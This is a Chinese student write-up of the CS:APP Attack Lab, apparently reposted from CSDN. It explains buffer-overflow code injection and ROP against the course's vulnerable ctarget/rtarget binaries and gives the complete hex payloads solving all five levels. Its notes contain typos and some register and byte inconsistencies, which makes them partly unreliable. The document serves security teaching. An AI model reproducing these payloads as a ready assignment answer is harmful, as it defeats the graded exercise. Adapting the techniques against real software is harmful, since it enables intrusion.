CSAPP_attack_lab缓冲区溢出攻击良

Attack lab 实验报告
//又是提前两天上传
//张延松老师班的同学注意(手动滑稽)

目录:
综述
攻击方式阐述
攻击背景阐述
函数分析
Touch1函数
Touch2函数
Touch3函数
解决方案
PartⅠ
Touch1
Touch2
Touch3
Part Ⅱ
Touch1
Touch2
Touch3
正文:
综述:
攻击方式综述
本实验被分成了五个部分,使用两种方式一共共计三个函数
两种攻击方式如下:
一种是通过注入代码的方式进行攻击:

这种攻击方式建立在软件作者对于缓冲区别有任何保护模式的前提下,通过书如果一个超长的字符串:字符串代表了你想要让程序执行的操作的机器代码本身

第二种被称为ROP攻击:

ROP攻击基于软件作者已经通过了随机化栈或者金丝雀发等方式对于攻击有了一定的防护,我们只能通过诸如一段代码,这段代码代表的是我想让程序走向该工程的另外一些区域,通过另外一些区域机器指令的拼接最终完成我们想要的操作
背景综述:
大背景:
我们首先要有函数test()
接下来的所有操作都进行在test()函数中
将test函数翻译成C语言:
void test()
{
Int val;
Val = getbuf();
printf(“NO explit. Getbuf returned 0x%x\n”, val);
}
可以看出test函数中调用了getbuf函数
Getbuf函数内部含有一个Gets()函数
Gets()函数的唯一功能就是读入一个超长的字符串
在程序执行的过程中,先进入test函数
在其中调用了getbuf函数
Getbuf函数中调用Get函数
Gets使得我们有机会注入一个超长的字符串进去
我们所有任务的时间都发生在getbuf函数的返回这一进程中
我们的目的是使得getbuf不再正常返回,而是分别进入:
Touch1或touch2或touch2中间
传入适当的参数
使得这三个函数中的名为callq 401c8d 的语句被执行(也就是函数被调用)
函数分析
Touch1函数
Touch1函数是一个十分简单的函数,只需要进入touch1函数就可以使得攻击成功
Touch2函数
Touch2函数需要掺传入一个无符号整型,这个整形储存在%edi上
要求整形的数值和函数值相等才能够
直接./craget可以看到cookie的具体数值
Touch2函数翻译如下:

void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol /
if (val == cookie) {
printf(“Touch2!: You called touch2(0x%.8x)\n”, val);
validate(2);
} else {
printf(“Misfire: You called touch2(0x%.8x)\n”, val);
fail(2);
}
exit(0);
}
Touch 3函数
这个函数需要传入一个字符串地址,这个字符串是cookie这个数字在十六进制地表示下,逐位转化成ASCII码
里面调用函数:hexmatch的唯一作用是判断输入的这个char
指向的地址和cookie本身所转化的是否相等
void touch3(char *sval)
{
if (hexmatch(cookie, sval)) {
printf(“Touch3!: You called touch3(”%s")\n", sval);
validate(3);
} else {
printf(“Misfire: You called touch3(”%s")\n", sval);
fail(3);
}
exit(0);
}]2
解决方案
PartⅠ
Touch1:
00000000004017a8
4017a8: 48 83 ec 08 sub $0x8,%rsp
4017ac: c7 05 46 2d 20 00 01 movl $0x1,0x202d46(%rip) # 6044fc
4017b3: 00 00 00
4017b6: bf f8 2e 40 00 mov $0x402ef8,%edi
4017bb: e8 90 f4 ff ff callq 400c50 puts@plt
4017c0: bf 01 00 00 00 mov $0x1,%edi
4017c5: e8 ef 03 00 00 callq 401bb9
4017ca: bf 00 00 00 00 mov $0x0,%edi
4017cf: e8 1c f6 ff ff callq 400df0 exit@plt
可见只需要填满缓冲区后将return address改为touc1的地址就好:
0000000000401792 :
401792: 48 83 ec 18 sub $0x18,%rsp
401796: 48 89 e7 mov %rsp,%rdi
401799: e8 2c 02 00 00 callq 4019ca
40179e: b8 01 00 00 00 mov $0x1,%eax
4017a3: 48 83 c4 18 add $0x18,%rsp
4017a7: c3 retq
可以知道getbuf的缓冲区大小是24
注入的东西
0e 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 17 40 00 00 00 00 00

解决
Touch 2
00000000004017d4 :
4017d4: 48 83 ec 08 sub $0x8,%rsp
4017d8: 89 fe mov %edi,%esi
4017da: c7 05 18 2d 20 00 02 movl $0x2,0x202d18(%rip) # 6044fc
4017e1: 00 00 00
4017e4: 3b 3d 1a 2d 20 00 cmp 0x202d1a(%rip),%edi # 604504
4017ea: 75 1b jne 401807 <touch2+0x33>
4017ec: bf 20 2f 40 00 mov $0x402f20,%edi
4017f1: b8 00 00 00 00 mov $0x0,%eax
4017f6: e8 85 f4 ff ff callq 400c80 printf@plt
4017fb: bf 02 00 00 00 mov $0x2,%edi
401800: e8 b4 03 00 00 callq 401bb9
401805: eb 19 jmp 401820 <touch2+0x4c>
401807: bf 48 2f 40 00 mov $0x402f48,%edi
40180c: b8 00 00 00 00 mov $0x0,%eax
401811: e8 6a f4 ff ff callq 400c80 printf@plt
401816: bf 02 00 00 00 mov $0x2,%edi
40181b: e8 4b 04 00 00 callq 401c6b
401820: bf 00 00 00 00 mov $0x0,%edi
401825: e8 c6 f5 ff ff callq 400df0 exit@plt

[2017202010@worker2 target282]$ ./ctarget
Cookie: 0x335bd9f1
Type string:
可得到cookie的函数值

我们要
movq 0x335bd9f1,%rdi
pushq 00000000004017d4
Retq
首先要填充缓冲区
填充之后修改返回值到现在%rsp所在的位置
也就是活缓冲区正上方
之后开始执行我们注入到缓冲区的代码,也就是上面三条代码的机器形式
最终得到结果
48 c7 c7 f1 d9 5b 33 68
d4 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
68 fb 62 55 00 00 00 00

Touch 3
00000000004018a8 :
4018a8: 53 push %rbx
4018a9: 48 89 fb mov %rdi,%rbx
4018ac: c7 05 46 2c 20 00 03 movl $0x3,0x202c46(%rip) # 6044fc
4018b3: 00 00 00
4018b6: 48 89 fe mov %rdi,%rsi
4018b9: 8b 3d 45 2c 20 00 mov 0x202c45(%rip),%edi # 604504
4018bf: e8 66 ff ff ff callq 40182a
4018c4: 85 c0 test %eax,%eax
4018c6: 74 1e je 4018e6 <touch3+0x3e>
4018c8: 48 89 de mov %rbx,%rsi
4018cb: bf 70 2f 40 00 mov $0x402f70,%edi
4018d0: b8 00 00 00 00 mov $0x0,%eax
4018d5: e8 a6 f3 ff ff callq 400c80 printf@plt
4018da: bf 03 00 00 00 mov $0x3,%edi
4018df: e8 d5 02 00 00 callq 401bb9
4018e4: eb 1c jmp 401902 <touch3+0x5a>
4018e6: 48 89 de mov %rbx,%rsi
4018e9: bf 98 2f 40 00 mov $0x402f98,%edi
4018ee: b8 00 00 00 00 mov $0x0,%eax
4018f3: e8 88 f3 ff ff callq 400c80 printf@plt
4018f8: bf 03 00 00 00 mov $0x3,%edi
4018fd: e8 69 03 00 00 callq 401c6b
401902: bf 00 00 00 00 mov $0x0,%edi
401907: e8 e4 f4 ff ff callq 400df0 exit@plt
我们需要:
有一个在缓冲区中诸如代码:
使得%rdi显示的是cookie的首地址
将cookie数组存放到缓冲区上(缓冲区为24+return addresss是8 = 32)
这个时候和%rsp不叫cookie首地址偏移了24位置
攻击代码:
48 c7 c7 88 fb 62 55 68
a8 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
//缓冲区的命令
68 fb 62 55 00 00 00 00
//return address
34 33 35 62 64 39 66 31
// cookie

Part 2
Touch1:
Touch1由于没有注入代码的操作,所以所做的事情和第一关中相同,很轻松得到解决
Touch2:
回顾我们的Touch2函数,我们要执行的操作仍然是:
movq 0x335bd9f1,%rdi
pushq 00000000004017d4
Retq
但是由于我们要进行ROP攻击,所以不能直接诸如代码,而是应该先进行缓存区填充,之后修改return address,指引程序控制流到命令所对应的机器代码处,执行后返回,再执行紧接着的下一条,再返回
再farm.c中,我们可以看到一些短小的函数,这些函数正是我们想要的,我们通过:
给出汇编指令
翻译成机器代码
寻找机器代码在小函数内的位置——ret
这样就可以得到我们所需要的指令
这一次我么需要的汇编指令是:
Popq %eax
//中间写入cookie的值使得正好将cookie pop到%eax
Movq %eax %edx

最后我们还是要进到touch2中间
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
52 19 40 00 00 00 00 00
f1 d9 5b 33 00 00 00 00
37 19 40 00 00 00 00 00
d4 17 40 00 00 00 00 00

Touch3
解决方案和touch3一样
基本做法和touch2相同
答案为:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b4 19 40 00 00 00 00 00
37 19 40 00 00 00 00 00
52 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
19 1a 40 00 00 00 00 00
8d 19 40 00 00 00 00 00
2b 1a 40 00 00 00 00 00
72 19 40 00 00 00 00 00
37 19 40 00 00 00 00 00
a8 18 40 00 00 00 00 00
33 33 35 62 64 39 66 31

猜你喜欢

转载自blog.csdn.net/weixin_42222917/article/details/84866259